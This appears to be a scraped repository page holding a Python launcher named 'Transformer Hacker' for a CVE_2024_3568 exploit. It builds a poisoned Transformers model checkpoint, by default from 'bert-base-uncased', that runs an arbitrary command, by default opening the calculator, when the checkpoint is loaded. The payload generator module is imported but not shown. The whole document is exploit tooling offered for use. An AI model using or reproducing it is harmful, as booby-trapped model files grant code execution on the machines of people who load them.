README.md
Rendering markdown...
import argparse
from src.payload.CVE_2024_3568.payload_generator import generate_command_checkpoint
from src.utils.command_util import get_open_calc_command
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Transformer Hacker')
parser.add_argument('--directory', dest='directory',
help="""指定生成的checkpoint要保存到的目录""", default='./rce-checkpoint')
parser.add_argument('--model', dest='model',
help="""指定使用的模型""", default='bert-base-uncased')
parser.add_argument('--command', dest='command',
help="""指定要执行的命令""", default=get_open_calc_command())
args = parser.parse_args()
try:
generate_command_checkpoint(directory_path=args.directory, model=args.model, command=args.command)
except KeyboardInterrupt:
print('Bye')
except Exception as e:
print('exception exception exception exception exception ')
parser.print_help()
raise e